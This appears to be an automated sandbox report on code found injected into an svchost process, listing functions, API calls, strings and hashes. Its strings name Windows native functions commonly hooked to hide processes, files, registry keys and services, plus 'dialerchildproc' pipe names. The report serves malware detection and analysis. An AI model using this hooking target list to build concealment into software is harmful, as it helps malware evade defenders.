Instruction ID: 3fed60f760ab3f32da691e52dbf4ab303354c7f47779857e17f14048716fb99a
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A1711C36311F1886EB119FA6E860AD923F6FB85B89F005111DE4EA7F69EF34C485C750

Function 00000195DD5C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C1319
GetProcessHeap.KERNEL32 ref: 00000195DD5C1327
HeapAlloc.KERNEL32 ref: 00000195DD5C1338
RegEnumValueW.ADVAPI32 ref: 00000195DD5C1397

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

GetProcessHeap.KERNEL32 ref: 00000195DD5C13DF
HeapAlloc.KERNEL32 ref: 00000195DD5C13ED
GetProcessHeap.KERNEL32 ref: 00000195DD5C140A
HeapFree.KERNEL32 ref: 00000195DD5C1418
lstrlenW.KERNEL32 ref: 00000195DD5C1421
GetProcessHeap.KERNEL32 ref: 00000195DD5C142F
HeapAlloc.KERNEL32 ref: 00000195DD5C143D
StrCpyW.SHLWAPI ref: 00000195DD5C145F
GetProcessHeap.KERNEL32 ref: 00000195DD5C1476
HeapFree.KERNEL32 ref: 00000195DD5C1484

Strings

d, xrefs: 00000195DD5C135A

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 495f4bd1ccfcfb5c7fe309b38a271ae55a6fce5f460d804d76d8676db85ca4e3
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 30515B36201F8886EB51CFA6E46879A77E2F789F89F044124DA4957B18DF3CC04ACB10

Function 00000195DD5C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000195DD5C1D1F

Part of subcall function 00000195DD5C1FD4: GetModuleHandleA.KERNEL32 ref: 00000195DD5C1FEC
Part of subcall function 00000195DD5C1FD4: GetProcAddress.KERNEL32 ref: 00000195DD5C1FFD

Part of subcall function 00000195DD5C5B30: GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5B6B

Strings

NtQuerySystemInformation, xrefs: 00000195DD5C1D45
NtResumeThread, xrefs: 00000195DD5C1D62
NtEnumerateValueKey, xrefs: 00000195DD5C1DD6
EnumServicesStatusExW, xrefs: 00000195DD5C1E11, 00000195DD5C1E32
NtQueryDirectoryFileEx, xrefs: 00000195DD5C1D9C
ntdll.dll, xrefs: 00000195DD5C1D2D
NtEnumerateKey, xrefs: 00000195DD5C1DB9
NtDeviceIoControlFile, xrefs: 00000195DD5C1E56
advapi32.dll, xrefs: 00000195DD5C1DF7, 00000195DD5C1E18
EnumServiceGroupW, xrefs: 00000195DD5C1DF0
NtQueryDirectoryFile, xrefs: 00000195DD5C1D7F
sechost.dll, xrefs: 00000195DD5C1E39

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 0a117424bb8ec17e06fa24497d1726645dd05d6d29179111a98c9b800477247c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: D1318274142E4EE0FB17EFE9E871AE463E3B714398FC450139449B2E759E78824AD760

Function 00000195DD596910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000195DD596938
__scrt_acquire_startup_lock.LIBCMT ref: 00000195DD59698A
_RTC_Initialize.LIBCMT ref: 00000195DD5969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000195DD5969DE
__scrt_release_startup_lock.LIBCMT ref: 00000195DD596A09

Strings

`eh vector copy constructor iterator', xrefs: 00000195DD596A3B
`eh vector vbase copy constructor iterator', xrefs: 00000195DD5969EE
scriptor', xrefs: 00000195DD596B39, 00000195DD596BB2, 00000195DD596BEC
`dynamic initializer for ', xrefs: 00000195DD5969C7

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: ceb190c1bc5cb76a39468d0dcf2336ec5ebfdbce9e152840d3fa6cc9d2bd33da
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 6381CE72704E41C6FB52ABE594713D926E3EB96B80F548025EA0577F96EF38C84A8F00

Function 00000195DD5CCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000195DD5CCE37
FlsGetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE4C
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE6D
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE9A
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCEAB
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCEBC
SetLastError.KERNEL32 ref: 00000195DD5CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF0D
FlsSetValue.KERNEL32(?,?,00000001,00000195DD5CECCC,?,?,?,?,00000195DD5CBF9F,?,?,?,?,?,00000195DD5C7AB0), ref: 00000195DD5CCF2C

Part of subcall function 00000195DD5CD6CC: HeapAlloc.KERNEL32 ref: 00000195DD5CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF54

Part of subcall function 00000195DD5CD744: HeapFree.KERNEL32 ref: 00000195DD5CD75A
Part of subcall function 00000195DD5CD744: GetLastError.KERNEL32 ref: 00000195DD5CD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF76

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 5deeaa700c7bca527ac3e0ef52b0542e40d86773dc9f6c8a69b3fdc468513023
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: B5412034303E4C82FB6BA7EE59753F913C35B857B4F140724A936E6ED6DE2894818700

Function 00000195DD5C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000195DD5C2259
GetCurrentProcessId.KERNEL32 ref: 00000195DD5C2263

Part of subcall function 00000195DD5C1934: OpenProcess.KERNEL32 ref: 00000195DD5C1952
Part of subcall function 00000195DD5C1934: IsWow64Process.KERNEL32 ref: 00000195DD5C1968
Part of subcall function 00000195DD5C1934: CloseHandle.KERNEL32 ref: 00000195DD5C1983

CreateFileW.KERNEL32 ref: 00000195DD5C22BC
WriteFile.KERNEL32 ref: 00000195DD5C22E4
ReadFile.KERNEL32 ref: 00000195DD5C2303
CloseHandle.KERNEL32 ref: 00000195DD5C230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000195DD5C228C
\\.\pipe\dialerchildproc32, xrefs: 00000195DD5C2293

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: ef64e02e287f94d0d9415c348699ab4dc805c8a96bd9a803ab77d90ce42376f4
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 09217932614B4483FB118BA5F4647AA73E2F789BA5F544215EA5953FA8CF3CC14ACB00

Function 00000195DD5CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000195DD5CA5A1

Part of subcall function 00000195DD5CB414: __GetUnwindTryBlock.LIBCMT ref: 00000195DD5CB457
Part of subcall function 00000195DD5CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000195DD5CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000195DD5CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000195DD5CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000195DD5CA9DA

Strings

csm, xrefs: 00000195DD5CA69C
csm, xrefs: 00000195DD5CA5BB
csm, xrefs: 00000195DD5CA622

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: ff241bfc108c8e41cf32293f5c139143a9d96e7d242899cc36c30a4197855322
Instruction ID: 9c2520efcc87ac771d522e1eb6396a81ecb0ce0daac719ccbdf896b70f129e44
Opcode Fuzzy Hash: ff241bfc108c8e41cf32293f5c139143a9d96e7d242899cc36c30a4197855322
Instruction Fuzzy Hash: 07E18D72606B488AEB32DFA9D4913DD7BE2F745B98F100115EE89A7F99CB35C481CB00

Function 00000195DD599944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000195DD5999A1

Part of subcall function 00000195DD59A814: __GetUnwindTryBlock.LIBCMT ref: 00000195DD59A857
Part of subcall function 00000195DD59A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000195DD59A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000195DD599A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000195DD599CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000195DD599DDA

Strings

csm, xrefs: 00000195DD599A22
csm, xrefs: 00000195DD599A9C
csm, xrefs: 00000195DD5999BB

Memory Dump Source

Source File: 00000020.00000002.3592258832.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd590000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 8578d22811c705561b9a0c63265d0fa22d72dfafe6aec0b6b4f758a2598a20e0
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 3EE18C72604B40CAEB62DBA5D4A03DD7BE2F756B98F142116EE8967F99CB34C191CF00

Function 00000195DD5CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000195DD5CF510
GetProcAddress.KERNEL32 ref: 00000195DD5CF51C

Strings

api-ms-, xrefs: 00000195DD5CF45A
ext-ms-, xrefs: 00000195DD5CF46D

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: ec1e5874304155dc1a340afb949db992b9dfa589f06c8a0471ec677ed5d909ab
Instruction ID: f94411bdc3c5adc3673d068f26baf74004ea3de06b1d5fa0a00e338998d396b5
Opcode Fuzzy Hash: ec1e5874304155dc1a340afb949db992b9dfa589f06c8a0471ec677ed5d909ab
Instruction Fuzzy Hash: 4741B236313E0492EB17DB9AA8647D623E7BB45BA0F494125DD0AE7F84EE3CC44A8350

Function 00000195DD5C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C10B1
RegEnumValueW.ADVAPI32 ref: 00000195DD5C1117
GetProcessHeap.KERNEL32 ref: 00000195DD5C115A
HeapAlloc.KERNEL32 ref: 00000195DD5C1168
GetProcessHeap.KERNEL32 ref: 00000195DD5C1185
HeapFree.KERNEL32 ref: 00000195DD5C1193

Strings

d, xrefs: 00000195DD5C10D6

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 85125c25dfd785958ae00b37ce84ac9a8513cd9fd1755175fa0b0cf5bc826ac5
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: CC418C33214F88C6E761CFA5E45479A77E2F389B89F048129DA8957B58DF3CC489CB00

Function 00000195DD5CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD087
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0A6
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0CE
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0DF
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0F0

Strings

Y%, xrefs: 00000195DD5CD0A6
1%, xrefs: 00000195DD5CD0CE

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: b29a2c01b9a529d3d397189201e4ebb9e472c9377beb16884566e216c47c93f0
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 47112134707A8881FB6A67AF59717E963C35B847F0F1443269839F6EDAEE28C5428700

Function 00000195DD5C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000195DD5C7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000195DD5C758A
_RTC_Initialize.LIBCMT ref: 00000195DD5C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000195DD5C75DE
__scrt_release_startup_lock.LIBCMT ref: 00000195DD5C7609

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: db17aeae78a532267f4925ec03955f9628ff8aa19b2b3ce37216714fce8ee9dc
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7281A031602E0F86FB63ABEE98713D967D3AB45780F145415DA05F7F96EB78C8868700

Function 00000195DD5C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000195DD5C9E49
GetLastError.KERNEL32 ref: 00000195DD5C9E57
LoadLibraryExW.KERNEL32 ref: 00000195DD5C9E81
FreeLibrary.KERNEL32 ref: 00000195DD5C9EC7
GetProcAddress.KERNEL32 ref: 00000195DD5C9ED3

Strings

api-ms-, xrefs: 00000195DD5C9E69

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 9d3cf39bc7784cd844787513709c7d04fd8390ef6f847f410b46324ceba80f6d
Instruction ID: 8d15efdb5329dbd6f8d908350e729aaeb4b7b6a33fa5c2f06519c4c6539ee195
Opcode Fuzzy Hash: 9d3cf39bc7784cd844787513709c7d04fd8390ef6f847f410b46324ceba80f6d
Instruction Fuzzy Hash: 0E31E531213E04D1EF13DBCAA4207D523D6B759BA1F590625DD1EABB98EF38C245C710

Function 00000195DD5D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000195DD5D3DE5
GetLastError.KERNEL32 ref: 00000195DD5D3DF1
CloseHandle.KERNEL32 ref: 00000195DD5D3E09
CreateFileW.KERNEL32 ref: 00000195DD5D3E34
WriteConsoleW.KERNEL32 ref: 00000195DD5D3E53

Strings

CONOUT$, xrefs: 00000195DD5D3E15

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 900ef7d4bcd6fd2864e51168dc1007f1dfbbe5e213ae5e9ff28ad5abe65b03b1
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 2C11BF32310F4086E7629B96E8643A9B3E1F788FE5F044224EA1A97B94CF78C8058750

Function 00000195DD5C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000195DD5C379E
GetCurrentProcess.KERNEL32 ref: 00000195DD5C37CC
VirtualProtectEx.KERNEL32 ref: 00000195DD5C37EE
GetCurrentProcess.KERNEL32 ref: 00000195DD5C3809
VirtualProtectEx.KERNEL32 ref: 00000195DD5C382A

Strings

wr, xrefs: 00000195DD5C37FF

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 42188e63fbb78b0732cb93c59acbf515d5b68af2c84de3977fd9872ca41c66e2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 38118E36302F4982FF559B95F4242A963F2F749B85F040028DE8953B94EF3DC545C714

Function 00000195DD5C5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5B6B
GetThreadContext.KERNEL32 ref: 00000195DD5C5CD5

Part of subcall function 00000195DD5C5960: GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5964

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 195e277db55ff97f3f99f451c10649e3fcd3ec1e2be31b8428dbef89db2187c3
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 12D17876205F8882DB71DB9AE4A439A77E1F388B84F500116EA8E97FA5DF3CC551CB40

Function 00000195DD5C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C2F27
HeapAlloc.KERNEL32 ref: 00000195DD5C2F3A
StrCmpNIW.SHLWAPI ref: 00000195DD5C2FAF
GetProcessHeap.KERNEL32 ref: 00000195DD5C3015
HeapFree.KERNEL32 ref: 00000195DD5C3023

Strings

dialer, xrefs: 00000195DD5C2FA8

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: fc4c9099da629ec678108cb9cb41e40dfa530a30d66993f12becd6c4ba3f9dba
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 0C317036702F5DC2E716DF9AE561BA977E2FB44B84F084020DE48A7F55EB34C4A18740

Function 00000195DD5CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000195DD5CCFAF
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CCFE5
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD012
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD023
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD034
SetLastError.KERNEL32 ref: 00000195DD5CD04F

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 8fdc15ff09e63732eb275527d3260f2eb5a265f6af426b64fb26ff3aadc1099c
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: C9115E34203E4882FB66A7AE59757B963C39B847B4F144725A836F6FD6EE6884428700

Function 00000195DD5C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000195DD5C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000195DD5C19E0
PathFindFileNameW.SHLWAPI ref: 00000195DD5C19EF
lstrlenW.KERNEL32 ref: 00000195DD5C19FB
StrCpyW.SHLWAPI ref: 00000195DD5C1A0E
CloseHandle.KERNEL32 ref: 00000195DD5C1A1C

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 094941dede99f9d048632fe007c60956db5d273133d38dce1c9db68577c35704
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: F4018C31300E4882EB11DB92A86879963E2F788FC1F884035DE4DA3B54DF3CC98AC750

Function 00000195DD5C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000195DD5C36E4
GetCurrentProcess.KERNEL32 ref: 00000195DD5C36F2
